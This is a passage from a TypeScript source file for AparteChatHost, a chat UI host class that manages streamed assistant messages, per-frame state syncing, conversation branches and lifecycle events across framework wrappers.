overwrites. */\nconst TREE_OWNED_FIELDS = new Set(['id', 'branches', 'activeBranchIndex', 'isStreaming']);\n\n/**\n * The fields every message carries, which a framework's list never clears: its text, its\n * segments (which the viewport may derive from the text) and its status.\n */\nconst ALWAYS_PRESENT_FIELDS = new Set(['content', 'segments', 'status']);\n\nexport class AparteChatHost {\n private readonly binding: AparteChatHostBinding;\n private readonly options: AparteChatHostOptions;\n\n /** Id of the assistant message currently streaming (null when idle). */\n private _streamingId: string | null = null;\n /** Message ids already reconciled onto a bubble (skip-rerender cache). */\n private readonly _renderedIds = new Set<string>();\n /** Sibling info from the last path-change, applied after the next render. */\n private _pendingSiblings?: AparteSiblingInfo[];\n /** How many render passes the sibling write has waited for — see `_applyPendingSiblings`. */\n private _siblingRetries = 0;\n /** Abort handle for an in-flight {@link streamTokens} loop. */\n private _streamAbort?: AbortController;\n /** Segment chunks written to the bubble, awaiting one coalesced state sync. */\n /**\n * Buffered segment text, per segment id, as `base + text` — an **absolute**\n * target, never a delta.\n *\n * Why absolute: the immediate paint (`appendToSegment` below) writes through the\n * viewport into the very segment object the framework list holds — they are the\n * same object, handed to both by `addSegment`. A delta added at flush time would\n * therefore land on content that already contains it, and every chunk came out\n * doubled. `base` is captured before the paint, so whoever mutates the shared\n * object in between cannot change the result.\n */\n private readonly _segmentBuffer = new Map<string, { base: string; text: string }>();\n /** {@link streamTokens} text written to the bubble, awaiting the same sync. */\n private _tokenBuffer: { messageId: string; text: string } | null = null;\n /** Handle of the scheduled coalesced sync, or null when none is pending. */\n private _flushHandle: number | null = null;\n\n private _conversationId: string | null = null;\n private _controller?: AparteConversationController;\n private _teardown: Array<() => void> = [];\n private _bound = false;\n\n constructor(binding: AparteChatHostBinding, options: AparteChatHostOptions = {}) {\n this.binding = binding;\n this.options = options;\n this._conversationId = options.conversationId ?? null;\n }\n\n // ── lifecycle ──────────────────────────────────────────────────────────\n\n /**\n * Install the host-method surface + event listeners and create the\n * conversation controller. Returns a teardown function; call once after the\n * view (viewport + composer) has mounted.\n */\n bind(): () => void {\n if (this._bound) return () => this.unbind();\n this._bound = true;\n\n const host = this.binding.host as HTMLElement & Record<string, unknown>;\n if (!host.id) host.id = this.binding.hostId;\n\n // Mark this host as an instance-config boundary FIRST, so everything\n // below (and every component inside, which resolves live) reads the\n // instance config rather than the global singleton.\n if (this.options.config) attachConfig(this.binding.host, this.options.config);\n\n const vp = this._vp();\n vp?.setFrameworkManagedDOM?.(true);\n if (this.options.layoutTransitionMs && this.options.layoutTransitionMs > 0) {\n vp?.configure?.({ layoutTransitionMs: this.options.layoutTransitionMs });\n }\n\n this._installHostMethods(host);\n this._installLifecycleListeners(host);\n // `centerWhenEmpty` slides only once a person is in the page (see glide-gate.ts).\n this._teardown.push(gateGlide(host));\n this._installViewportListeners();\n this._createController(host);\n\n return () => this.unbind();\n }\n\n unbind(): void {\n if (!this._bound) return;\n this._bound = false;\n this.stopTokenStream();\n for (const off of this._teardown.splice(0)) {\n try { off(); } catch { /* ignore */ }\n }\n this._unbindController?.();\n this._unbindController = undefined;\n this._controller = undefined;\n if (this.options.config) detachConfig(this.binding.host);\n }\n\n // ── streaming state ────────────────────────────────────────────────────\n\n get streamingId(): string | null { return this._streamingId; }\n get isStreaming(): boolean { return this._streamingId !== null; }\n\n /** The internally-managed conversation controller (created in {@link bind}). */\n get conversationController(): AparteConversationController | undefined {\n return this._controller;\n }\n\n /** Clear the bubble-render cache (e.g. when the host clears messages externally). */\n clearRenderCache(): void {\n this._renderedIds.clear();\n }\n\n private _setStreamingId(id: string | null): void {\n if (this._streamingId === id) return;\n this._streamingId = id;\n this.binding.onStreamingChange?.(id);\n // The transcript's read-only-while-streaming flag has one writer per mode. In\n // framework-managed mode the repository is not written during a turn, so the\n // viewport could never derive it — retry, edit and the branch arrows stayed\n // live on every other message while a reply streamed, under all four wrappers.\n // This host already knows the truth for every wrapper: it says it.\n this._vp()?.setTranscriptBusy?.(id !== null);\n }\n\n // ── conversation ───────────────────────────────────────────────────────\n\n /** Load / switch the active conversation via the controller. */\n setConversationId(id: string | null): Promise<void> {\n this._conversationId = id;\n return this._controller?.setConversationId(id) ?? Promise.resolve();\n }\n\n private _unbindController?: () => void;\n\n private _createController(host: HTMLElement): void {\n const convBinding: AparteChatBinding = {\n hostId: this.binding.hostId,\n host,\n // Controller-driven flushes mirror AparteConversationManager state, not\n // user intent — deliberately NOT emitted as `messagesChange` to\n // avoid a feedback loop with hosts using a two-way `messages` input.\n // Adopted here rather than passed through: this is the conversation\n // controller handing back a stored list, and it goes STRAIGHT to the\n // framework's own reactive setter — so in every wrapper it never met the\n // stamping seam at all, tree or no tree.\n setMessages: (msgs) => {\n this._beginConversationSwap();\n this._vp()?.resetSpacer?.();\n const adopted = msgs.map(adoptMessageSegments);\n this.binding.setMessages(adopted);\n // …and into the viewport's TREE, which is what `exportTree` serialises and\n // what every branch operation reads. This handed the list to the framework\n // alone, so a stored conversation was invisible to the repository: the next\n // message became the root of a fresh tree, and `syncRepoFromMessages` then\n // appended the history it could not find at the head — after the new turn.\n // The saved tree read [new turn, old history], and the next open restored\n // it. The vanilla binding has always gone through this method; so does this\n // one now.\n this._vp()?.setMessages?.(adopted);\n },\n appendMessage: (msg) => this.appendMessage(msg),\n getMessages: () => this.binding.getMessages(),\n clearMessages: (options) => {\n this._beginConversationSwap();\n this.binding.setMessages([]);\n this._vp()?.clearAll?.(options);\n },\n exportTree: () => {\n this.syncRepoFromMessages();\n return this._vp()?.exportTree?.();\n },\n importTree: (tree) => { this._vp()?.importTree?.(tree); },\n // The framework's list arrives at its render, so a save that must see a write\n // the app made to its own store (a compaction through `resolveTarget`) waits for it.\n afterRender: (cb) => this.binding.afterRender(cb),\n // One writer for the wait. A wrapper that hears `onLoadingChange` draws the\n // wait itself and writes the viewport's attribute from its own\n // `loading || hostLoading` — so the host writing it too meant that, with the\n // consumer's own prop on, a `setLoading(false)` here removed the attribute\n // (and `aria-busy`) while the wrapper still drew the skeleton and still held\n // the composer shut. A binding that cannot hear it has no other way to know,\n // and there the attribute stays the host's to write.\n setLoading: (on) => {\n if (this.binding.onLoadingChange) this.binding.onLoadingChange(on);\n else this._vp()?.setLoading?.(on);\n },\n };\n\n this._controller = new AparteConversationController(convBinding, {\n onConversationCreated: (id) => {\n this._conversationId = id;\n this.options.onConversationCreated?.(id);\n },\n });\n this._unbindController = this._controller.bind();\n void this._controller.setConversationId(this._conversationId);\n }\n\n /** Drop transient streaming state so a new conversation starts clean. */\n private _beginConversationSwap(): void {\n // Drop pending stream chunks: they belong to the conversation being left,\n // and its bubbles already show them.\n this._segmentBuffer.clear();\n this._tokenBuffer = null;\n this._flushStreamState();\n this.stopTokenStream();\n this._setStreamingId(null);\n this.binding.onTypingChange?.(false);\n this._renderedIds.clear();\n this.binding.resetComposer?.();\n }\n\n // ── host method surface (also installed on the host element) ───────────\n\n /**\n * Append a message optimistically (streaming writes target the new last).\n *\n * Deliberately does NOT call `onMessagesChange` (unlike the other mutations):\n * `setMessages` updates the wrapper's OWN render list, but `onMessagesChange`\n * is the OUTBOUND \"the user changed the list\" notification. During an\n * optimistic append the wrapper's local list can lag a controlled parent's\n * (the parent added a user message that hasn't propagated back yet), so\n * echoing the local list to the parent would overwrite the parent's\n * authoritative list and drop that message — a real race the Angular wrapper\n * spec guards (\"optimistic-append + parent-push race\"). `onMessageAppended`\n * is the append-specific signal instead.\n */\n appendMessage(message: AparteMessage, options?: { historical?: boolean }): void {\n this._flushStreamState(); // the previous message's chunks land first\n if (message.role === 'user') this._vp()?.setAutoScroll?.(true);\n // This did NOT stamp its segments — at all — while the viewport method of the\n // same name did. Two owners of one invariant, diverging in silence, which is\n // why a framework-managed chat and a native one disagreed about the very same\n // stored conversation. Same provenance parameter as the viewport's, same\n // default (live), so no existing caller changes behaviour.\n const stored = options?.historical\n ? adoptMessageSegments(message)\n : message.segments?.length\n ? {\n ...message,\n segments: message.segments.reduce<AparteSegment[]>((acc, segment) => {\n acc.push(stampSegmentOnInsert(\n acc, segment, message.id,\n resolveConfig(this.binding.host).getSegmentDefaults(segment.type),\n ));\n return acc;\n }, []),\n }\n : message;\n // Recorded in the viewport's tree by the same act that builds the list. It was\n // not: a manual token stream (`streamTokens`, `appendToSegment`) then wrote to\n // a message the repository did not know, the viewport invented it under the\n // empty root, and the next branch operation re-parented the whole transcript\n // under that phantom — the path came out reversed.\n this._vp()?.addMessage?.(stored);\n this.binding.setMessages([...this.binding.getMessages(), stored]);\n this.binding.onMessageAppended?.(stored);\n }\n\n /** Atomic partial update of a message by id. */\n updateMessage(messageId: string, updates: Partial<AparteMessage>): void {\n this._flushStreamState();\n const msgs = this.binding.getMessages();\n const index = msgs.findIndex((m) => m.id === messageId);\n if (index === -1) return;\n const next = [...msgs];\n const merged = { ...next[index]!, ...updates };\n next[index] = merged;\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n // Immediate visual feedback for a status change (e.g. streaming class).\n if (updates.status) {\n this._bubbleById(messageId)?.updateMessage?.({ status: updates.status });\n }\n // A finished turn closes its segments — same rule and same helper as the\n // viewport, because this is the method both agent loops call to report the\n // end. Routed through `updateSegment` for the same reason: the bubble has to\n // hear about it, not just the list.\n if (isTerminalStatus(merged.status) && merged.segments) {\n for (const id of openSegmentIds(merged.segments)) {\n this.updateSegment(id, { isStreaming: false });\n }\n }\n }\n\n /** Append/replace the last message content (streaming text). */\n updateLastMessage(content: string, options?: { append?: boolean }): void {\n if (options?.append) this.binding.onTypingChange?.(false);\n const msgs = this.binding.getMessages();\n const last = msgs[msgs.length - 1];\n if (!last) return;\n if (this._isOrphan(last.id)) return;\n const newContent = options?.append ? (last.content || '') + content : content;\n const next = [...msgs.slice(0, -1), { ...last, content: newContent }];\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /** Add a segment to the last message (immediate bubble + state sync). */\n addSegment(segment: AparteSegment): void {\n this._flushStreamState(); // buffered chunks belong before a new segment\n const before = this.binding.getMessages();\n const target = before[before.length - 1];\n if (target && this._isOrphan(target.id)) return;\n this.binding.onTypingChange?.(false);\n const msgs = before;\n const last = target;\n\n // Stamped before the bubble is told, because the bubble is told FIRST here\n // (that ordering is deliberate — the paint must not wait on a list rebuild).\n // Stamping after it would render an unstamped segment and store a stamped\n // one. Second of exactly two owners; see `utils/segments.ts`.\n const stamped = last\n ? stampSegmentOnInsert(\n last.segments || [], segment, last.id,\n // The host attaches its config to `binding.host`, so resolving from\n // that element is what gives a framework-managed chat its OWN\n // defaults rather than the page's.\n resolveConfig(this.binding.host).getSegmentDefaults(segment.type),\n )\n : segment;\n this._streamBubble(last?.id)?.addSegment?.(stamped);\n if (!last) return;\n const segments = [...(last.segments || []), stamped];\n const next = [...msgs.slice(0, -1), { ...last, segments }];\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /** Update a segment in the last message in place. */\n updateSegment(segmentId: string, updates: Partial<AparteSegment>): void {\n this._flushStreamState(); // an update must not overwrite buffered text\n const msgs = this.binding.getMessages();\n const last = msgs[msgs.length - 1];\n if (last && this._isOrphan(last.id)) return;\n const current = last?.segments?.find((s) => s.id === segmentId);\n // Same ordering trap as `addSegment`: the bubble is written first, so the\n // `endedAt` has to be computed before that write, not after it.\n const stamped = current ? stampSegmentOnUpdate(current, updates) : updates;\n this._streamBubble(last?.id)?.updateSegment?.(segmentId, stamped);\n if (!last || !last.segments) return;\n const segments = last.segments.map((s) =>\n s.id === segmentId ? mergeSegmentUpdate(s, stamped) : s,\n );\n const next = [...msgs.slice(0, -1), { ...last, segments }];\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /** Remove a transient segment (a status row the host added itself). */\n removeSegment(segmentId: string): void {\n this._flushStreamState();\n this._streamBubble(this.binding.getMessages().at(-1)?.id)?.removeSegment?.(segmentId);\n const msgs = this.binding.getMessages();\n const last = msgs[msgs.length - 1];\n if (!last?.segments) return;\n const segments = last.segments.filter((s) => s.id !== segmentId);\n if (segments.length === last.segments.length) return;\n // `index` is a position: a removal has to close the gap it left.\n renumberSegments(segments);\n const next = [...msgs.slice(0, -1), { ...last, segments }];\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /**\n * Append text to a segment's content in the last message — the streaming path\n * for thinking blocks, tool pills and any segment that grows token by token.\n *\n * Two writes, deliberately asymmetric:\n * 1. straight into the bubble, every chunk, so the text appears immediately —\n * the same direct path `appendToken` uses;\n * 2. into the framework's message list, **coalesced to once per frame**.\n *\n * Coalescing (2) avoids a full list rebuild plus `setMessages` +\n * `onMessagesChange`, i.e. one complete framework render, for every chunk.\n *\n * Any structural change flushes the buffer first (see\n * {@link _flushStreamState}), so ordering is never observable.\n */\n appendToSegment(segmentId: string, content: string): void {\n const msgs = this.binding.getMessages();\n const last = msgs[msgs.length - 1];\n if (!last || !last.segments) return;\n if (this._isOrphan(last.id)) return;\n\n // (2a) Record where this batch starts — BEFORE the paint below, which writes\n // into the segment object the list shares. See {@link _segmentBuffer}.\n let buffered = this._segmentBuffer.get(segmentId);\n if (!buffered) {\n const segment = last.segments.find((s) => s.id === segmentId);\n const base = segment && 'content' in segment ? (segment as { content?: string }).content ?? '' : '';\n buffered = { base, text: '' };\n this._segmentBuffer.set(segmentId, buffered);\n }\n buffered.text += content;\n\n // (1) Immediate, per-chunk: the viewport writes into the bubble in place.\n this._vp()?.appendToSegment?.(last.id, segmentId, content);\n\n // (2b) Deferred, coalesced: one state sync per frame.\n this._scheduleStreamFlush();\n }\n\n /** Schedule the coalesced segment-state sync (idempotent within a frame). */\n private _scheduleStreamFlush(): void {\n if (this._flushHandle !== null) return;\n const run = () => {\n this._flushHandle = null;\n this._flushStreamState();\n };\n // rAF paces the sync with rendering; without it (SSR, jsdom without the\n // polyfill) fall back to a macrotask so the batching still happens.\n this._flushHandle = typeof requestAnimationFrame === 'function'\n ? requestAnimationFrame(run)\n : (setTimeout(run, 0) as unknown as number);\n }\n\n /**\n * Write every buffered stream chunk — segment chunks and {@link streamTokens}\n * text alike — into the framework's message list in **one** update. Called by\n * the scheduled frame, and eagerly by any mutation that would otherwise observe\n * a stale list (a new segment, a new message, a conversation swap): flushing\n * first keeps the emitted order identical to the call order.\n */\n private _flushStreamState(): void {\n if (this._flushHandle !== null) {\n if (typeof cancelAnimationFrame === 'function') cancelAnimationFrame(this._flushHandle);\n else clearTimeout(this._flushHandle);\n this._flushHandle = null;\n }\n const tokens = this._tokenBuffer;\n const pending = this._segmentBuffer.size > 0 ? new Map(this._segmentBuffer) : null;\n if (!tokens && !pending) return;\n this._tokenBuffer = null;\n this._segmentBuffer.clear();\n\n // Both channels fold into a single list, so a frame that carried tokens AND\n // segment chunks still costs the framework exactly one render.\n let msgs = this.binding.getMessages();\n let changed = false;\n\n if (tokens) {\n // By id, not \"the last message\": a manual stream keeps writing to its\n // own message even if something was appended after it.\n const index = msgs.findIndex((m) => m.id === tokens.messageId);\n if (index !== -1) {\n const next = [...msgs];\n next[index] = { ...next[index]!, content: (next[index]!.content ?? '') + tokens.text };\n msgs = next;\n changed = true;\n }\n }\n\n if (pending) {\n const last = msgs[msgs.length - 1];\n if (last?.segments) {\n const segments = last.segments.map((s) => {\n const buffered = pending.get(s.id);\n // Absolute, not `s.content + chunk`: `s` may be the object the\n // paint already appended to (they are shared), so adding the\n // chunk again is what doubled every chunk.\n if (buffered === undefined || !('content' in s)) return s;\n // Content arriving IS the segment's activity, so this is what\n // `endedAt` measures — same rule as the viewport's append. The\n // resolution is one frame here rather than one chunk, which is\n // finer than any duration a person reads.\n return {\n ...s,\n content: buffered.base + buffered.text,\n ...stampSegmentActivity(s),\n } as AparteSegment;\n });\n msgs = [...msgs.slice(0, -1), { ...last, segments }];\n changed = true;\n }\n }\n\n if (!changed) return;\n this.binding.setMessages(msgs);\n this.binding.onMessagesChange?.(msgs);\n }\n\n /** Read the current message list. */\n getMessages(): AparteMessage[] { return this.binding.getMessages(); }\n\n /**\n * Clear all messages + reset viewport state. The option travels to the viewport\n * untouched: a compaction passes `{ revokeAttachments: false }` because it re-appends\n * the turns it keeps and revokes the dropped ones' object URLs itself.\n */\n clearMessages(options?: { revokeAttachments?: boolean }): void {\n this._beginConversationSwap();\n this.binding.setMessages([]);\n this._vp()?.clearAll?.(options);\n }\n\n /** Create a new branch from a message (returns the new sibling index). */\n addBranch(messageId: string): number {\n this.syncRepoFromMessages();\n return this._vp()?.addBranch?.(messageId) ?? 0;\n }\n\n /** Add a sibling of an existing message (returns the new id). */\n addSiblingOf(existingId: string, newMessage: AparteMessage): string | null {\n this.syncRepoFromMessages();\n return this._vp()?.addSiblingOf?.(existingId, newMessage) ?? null;\n }\n\n /** Remove a message and all descendants (edit flow). */\n truncateFrom(messageId: string): void {\n this._vp()?.truncateFrom?.(messageId);\n const msgs = this.binding.getMessages();\n const idx = msgs.findIndex((m) => m.id === messageId);\n const next = idx >= 0 ? msgs.slice(0, idx) : msgs;\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /** Keep up to and including a user message, drop later responses (retry). */\n truncateResponsesAfter(userMessageId: string): void {\n this._vp()?.truncateResponsesAfter?.(userMessageId);\n const msgs = this.binding.getMessages();\n const idx = msgs.findIndex((m) => m.id === userMessageId);\n const next = idx >= 0 ? msgs.slice(0, idx + 1) : msgs;\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n // ── manual token streaming (agnostic core of injectTokenStream) ─────────\n\n /**\n * Drive a manual token stream into the viewport. Sets the streaming guard,\n * appends each token, completes the message at the end. Per-framework\n * wrappers adapt their native stream type (RxJS Observable, AsyncIterable,\n * ReadableStream) into this.\n *\n * Each token reaches the bubble immediately and the framework's message list\n * is synced **once per frame** (same discipline as {@link appendToSegment}),\n * with a guaranteed flush before completion and on abort, so the framework list\n * and the DOM agree and a custom bubble (which renders from that state) shows the\n * reply.\n */\n async streamTokens(messageId: string, tokens: AsyncIterable<string>): Promise<void> {\n this.stopTokenStream();\n this._setStreamingId(messageId);\n const ac = new AbortController();\n this._streamAbort = ac;\n const iterator = tokens[Symbol.asyncIterator]();\n // Resolve as soon as the stream is aborted, so an IDLE source (e.g. the\n // Angular Observable→AsyncIterable adapter parked on a pending next())\n // still unwinds promptly: racing next() against this lets the loop break\n // and call iterator.return() — which unsubscribes — instead of leaving a\n // zombie subscription parked on a next() that never resolves.\n const aborted = new Promise<'aborted'>((resolve) => {\n if (ac.signal.aborted) { resolve('aborted'); return; }\n ac.signal.addEventListener('abort', () => resolve('aborted'), { once: true });\n });\n // Announced only now, past the setup that can throw (the source's iterator), so a\n // start always meets the `finally` that ends it. The turn announces itself the way `AparteClient` does, so what listens for a turn\n // works here too: the composer shows Stop, the conversation controller saves at the\n // end. And the composer's Stop (`aparte-abort` for this chat, or for every chat when\n // it names none) stops this stream.\n const { host, hostId } = this.binding;\n const onAbort = (e: Event): void => {\n const target = ((e as CustomEvent).detail as { targetId?: string } | undefined)?.targetId;\n if ((!target || target === hostId) && this._streamAbort === ac) this.stopTokenStream();\n };\n window.addEventListener('aparte-abort', onAbort);\n const replaced = (): boolean => this._streamAbort !== undefined && this._streamAbort !== ac;\n dispatchLifecycleEvent(host, 'aparte-message-start', { messageId, role: 'assistant' }, hostId);\n try {\n for (;;) {\n const res = await Promise.race([iterator.next(), aborted]);\n if (res === 'aborted' || ac.signal.aborted || res.done) break;\n this._vp()?.appendToken?.(messageId, res.value);\n this._bufferToken(messageId, res.value);\n }\n // The state must carry the text BEFORE the message is marked complete —\n // completion is a structural change, and a consumer reacting to it would\n // otherwise read a message that is finished and empty.\n this._flushStreamState();\n // Aborted or not: the message is FINISHED. It used to be completed only on\n // a clean end, so a stopped stream left a message the viewport still held\n // as streaming — and everything read-only that hangs off that (the branch\n // arrows, retry, edit of every message) stayed disabled for good.\n this._vp()?.completeMessage?.(messageId);\n // Replaced by a newer stream (which stopped this one, then took the slot): the\n // turn in flight is the newer one. Clearing the streaming id, or ending a turn\n // the listeners now follow, would be this loop speaking for it.\n if (!replaced()) {\n this._setStreamingId(null);\n dispatchLifecycleEvent(\n host,\n ac.signal.aborted ? 'aparte-message-aborted' : 'aparte-message-done',\n ac.signal.aborted ? { messageId } : { messageId, role: 'assistant' },\n hostId,\n );\n }\n } catch (err) {\n this._flushStreamState();\n if (!replaced()) {\n this._setStreamingId(null);\n dispatchLifecycleEvent(host, 'aparte-message-error', { messageId, error: err }, hostId);\n }\n throw err;\n } finally {\n window.removeEventListener('aparte-abort', onAbort);\n // On abort the source may still be mid-flight; return() triggers its\n // cleanup (generator finally / subscription teardown).\n if (ac.signal.aborted) { try { await iterator.return?.(); } catch { /* ignore */ } }\n if (this._streamAbort === ac) this._streamAbort = undefined;\n }\n }\n\n /**\n * Buffer a streamed token for the coalesced state sync. A different message id\n * (a second stream started without stopping the first) flushes the previous\n * one, so text never migrates between messages.\n */\n private _bufferToken(messageId: string, chunk: string): void {\n if (this._tokenBuffer && this._tokenBuffer.messageId !== messageId) this._flushStreamState();\n this._tokenBuffer = this._tokenBuffer\n ? { messageId, text: this._tokenBuffer.text + chunk }\n : { messageId, text: chunk };\n this._scheduleStreamFlush();\n }\n\n /** Abort an in-flight {@link streamTokens} loop. */\n stopTokenStream(): void {\n if (this._streamAbort) {\n this._streamAbort.abort();\n this._streamAbort = undefined;\n // Keep whatever was already streamed: the bubble shows it, so the state\n // must agree — an aborted turn is truncated, not erased.\n this._flushStreamState();\n this._setStreamingId(null);\n }\n }\n\n // ── reconciliation ─────────────────────────────────────────────────────\n\n /**\n * Reconcile rendered bubbles with the current message list. The framework\n * calls this from its reactive message-change hook after rendering; the\n * last message is always re-synced (streaming), others only once.\n */\n syncBubbles(): void {\n const msgs = this.binding.getMessages();\n msgs.forEach((message, index) => {\n const isLast = index === msgs.length - 1;\n if (this._renderedIds.has(message.id) && !isLast) return;\n const bubble = this._bubbleById(message.id);\n if (!bubble) return;\n populateBubbleFromMessage(bubble, message);\n this._renderedIds.add(message.id);\n });\n }\n\n /**\n * Rebuild the viewport's internal repo from the message list before branch\n * operations (streaming fills the framework state but not the repo).\n */\n syncRepoFromMessages(): void {\n const vp = this._vp();\n if (!vp) return;\n for (const msg of this.binding.getMessages()) {\n if (!vp.getMessage?.(msg.id)) {\n vp.appendMessage?.(msg);\n } else {\n const updates: Partial<AparteMessage> = {};\n if (msg.content !== undefined) updates.content = msg.content;\n if (msg.segments !== undefined) updates.segments = msg.segments;\n if (msg.status !== undefined) updates.status = msg.status;\n if (msg.usage !== undefined) updates.usage = msg.usage;\n // What the turn ran on: a pause resumed after a reload reads it from the saved tree.\n if (msg.model !== undefined) updates.model = msg.model;\n if (Object.keys(updates).length > 0) vp.updateMessage?.(msg.id, updates);\n // Every other field the app wrote (metadata, attachments, a name…) reaches the\n // tree too — the saved conversation and what a reopen loads — without a redraw:\n // the framework draws from its own list. The tree's own fields stay its own.\n const stored = vp.getMessage?.(msg.id) as Record<string, unknown> | undefined;\n if (stored) {\n for (const [key, value] of Object.entries(msg)) {\n if (value !== undefined && !(key in updates) && !TREE_OWNED_FIELDS.has(key)) stored[key] = value;\n }\n // And a field the app cleared — set to `undefined`, or left out of the\n // message — leaves the tree too: the framework's list is the message, and\n // a reopen loads the tree, which brought an un-pinned message back pinned.\n const own = msg as unknown as Record<string, unknown>;\n for (const key of Object.keys(stored)) {\n if (!TREE_OWNED_FIELDS.has(key) && !ALWAYS_PRESENT_FIELDS.has(key) && own[key] === undefined) delete stored[key];\n }\n }\n }\n }\n }\n\n /**\n * Write the branch counts onto their bubbles — and RESCHEDULE for the ones that are\n * not on the page yet, instead of dropping them.\n *\n * Frameworks render LATE: a binding's `afterRender` can run before its commit, so a\n * bubble may not exist yet when its count arrives. A count that was dropped would\n * leave the bubble at one sibling, the picker hidden and the other version\n * unreachable. The retry lives here rather than in a wrapper, so it covers all four.\n *\n * Bounded, because a sibling can legitimately never arrive — a message that left the\n * path has no bubble and never will, and an unbounded retry would hold a callback for\n * the page's lifetime. Six passes is far more than the one tick the race needs.\n */\n private _applyPendingSiblings(): void {\n if (!this._pendingSiblings) return;\n const msgs = this.binding.getMessages();\n const unresolved: AparteSiblingInfo[] = [];\n for (const sib of this._pendingSiblings) {\n if (sib.count <= 1) continue;\n const bubble = this._bubbleById(sib.id);\n if (!bubble) { unresolved.push(sib); continue; }\n const message = msgs.find((m) => m.id === sib.id);\n if (message) populateBubbleFromMessage(bubble, message, sib);\n }\n this._pendingSiblings = undefined;\n if (unresolved.length && this._siblingRetries < MAX_SIBLING_RETRIES) {\n this._siblingRetries += 1;\n this._pendingSiblings = unresolved;\n this.binding.afterRender(() => this._applyPendingSiblings());\n return;\n }\n this._siblingRetries = 0;\n }\n\n // ── internals ──────────────────────────────────────────────────────────\n\n /** Orphan-stream guard: a stream is in flight but the last msg isn't it. */\n private _isOrphan(lastId: string): boolean {\n return this._streamingId !== null && lastId !== this._streamingId;\n }\n\n private _vp(): ViewportApi | null {\n return (this.binding.viewport as unknown as ViewportApi | null) ?? null;\n }\n\n private _bubbleById(id: string): StreamingBubble | null {\n const vp = this.binding.viewport;\n if (!vp) return null;\n return vp.querySelector(\n `aparte-chat-bubble[message-id=\"${cssEscape(id)}\"]`,\n ) as unknown as StreamingBubble | null;\n }\n\n /**\n * The bubble the streaming writes below belong to: the one carrying that message's\n * id, and NOTHING when it is not on the page yet.\n *\n * It is not \"the last bubble in the viewport\", which is a different message\n * whenever the DOM is a render behind the list — which is every framework here.\n * `appendMessage` puts the new reply in the framework's state and the framework\n * paints it on its own schedule, so a first chunk arriving in between would go into\n * the PREVIOUS reply's bubble.\n *\n * Skipping the paint is safe because it is only ever a paint: the message list is\n * written either way, and `syncBubbles` — called by the framework after each render,\n * always re-syncing the last message — puts it on screen as soon as the bubble\n * exists. Without an id there is nothing to resolve, so the last bubble stands: that\n * is a host writing into a transcript it has not appended to.\n */\n private _streamBubble(messageId: string | undefined): StreamingBubble | null {\n if (messageId) return this._bubbleById(messageId);\n return this._lastBubble();\n }\n\n private _lastBubble(): StreamingBubble | null {\n const vp = this.binding.viewport;\n if (!vp) return null;\n const all = vp.querySelectorAll('aparte-chat-bubble');\n return (all.length ? all[all.length - 1] : null) as unknown as StreamingBubble | null;\n }\n\n private _installHostMethods(host: Record<string, unknown>): void {\n // Bracket notation: these come from the index signature, and consumers\n // compiled with `noPropertyAccessFromIndexSignature` reject dot access.\n host['appendMessage'] = (m: AparteMessage) => this.appendMessage(m);\n host['updateMessage'] = (id: string, u: Partial<AparteMessage>) => this.updateMessage(id, u);\n host['updateLastMessage'] = (c: string, o?: { append?: boolean }) => this.updateLastMessage(c, o);\n host['addSegment'] = (s: AparteSegment) => this.addSegment(s);\n host['updateSegment'] = (id: string, u: Partial<AparteSegment>) => this.updateSegment(id, u);\n host['removeSegment'] = (id: string) => this.removeSegment(id);\n host['appendToSegment'] = (id: string, c: string) => this.appendToSegment(id, c);\n host['getMessages'] = () => this.getMessages();\n host['addBranch'] = (id: string) => this.addBranch(id);\n host['addSiblingOf'] = (id: string, m: AparteMessage) => this.addSiblingOf(id, m);\n host['truncateFrom'] = (id: string) => this.truncateFrom(id);\n host['truncateResponsesAfter'] = (id: string) => this.truncateResponsesAfter(id);\n // Installed since 0.16.0 for `@aparte/plugin-compaction`, which replaces a\n // transcript through the element it resolves by id — under a wrapper, this root.\n // Without it the host had `getMessages` and `appendMessage` but no way to empty\n // itself, and the plugin could not tell it from a stray `[data-aparte-chat]`.\n host['clearAll'] = (options?: { revokeAttachments?: boolean }) => this.clearMessages(options);\n }\n\n private _installLifecycleListeners(host: HTMLElement): void {\n const onStart = (e: Event) => {\n const d = (e as CustomEvent)?.detail as { messageId?: string } | undefined;\n if (d?.messageId) this._setStreamingId(d.messageId);\n };\n /**\n * Whether a terminal event ends the turn THIS host is following.\n *\n * A retry supersedes the reply being written: the client aborts it, and the\n * engine's `run-aborted` reaches this host as an `aparte-message-aborted`\n * carrying the superseded message's id, which must not end the turn still\n * streaming. An event with no id still ends the turn: that is a host or a loop\n * of its own saying \"done\".\n */\n const endsThisTurn = (e: Event): boolean => {\n const id = ((e as CustomEvent)?.detail as { messageId?: string } | undefined)?.messageId;\n return !id || this._streamingId === null || id === this._streamingId;\n };\n const onDone = (e: Event) => {\n if (endsThisTurn(e)) {\n this.binding.onTypingChange?.(false);\n this._setStreamingId(null);\n }\n const d = (e as CustomEvent)?.detail as\n | { messageId?: string; usage?: AparteUsage }\n | undefined;\n // The usage is recorded whoever reported it: it belongs to the message the\n // event names, not to the turn in flight.\n if (!d?.messageId || !d.usage) return;\n const next = this.binding.getMessages().map((m) =>\n m.id === d.messageId ? { ...m, usage: d.usage } : m,\n );\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n this._bubbleById(d.messageId)?.setUsage?.(d.usage);\n };\n const onEnd = (e: Event) => {\n if (!endsThisTurn(e)) return;\n this.binding.onTypingChange?.(false);\n this._setStreamingId(null);\n };\n host.addEventListener('aparte-message-start', onStart);\n host.addEventListener('aparte-message-done', onDone);\n host.addEventListener('aparte-message-error', onEnd);\n host.addEventListener('aparte-message-aborted', onEnd);\n this._teardown.push(() => {\n host.removeEventListener('aparte-message-start', onStart);\n host.removeEventListener('aparte-message-done', onDone);\n host.removeEventListener('aparte-message-error', onEnd);\n host.removeEventListener('aparte-message-aborted', onEnd);\n });\n }\n\n private _installViewportListeners(): void {\n const vp = this.binding.viewport;\n if (!vp) return;\n\n const onPathChanged = (e: Event) => {\n const evt = e as CustomEvent<ApartePathChangedEventDetail>;\n const incoming = evt.detail.messages as AparteMessage[];\n // New bubbles created by the framework's diff are empty; force 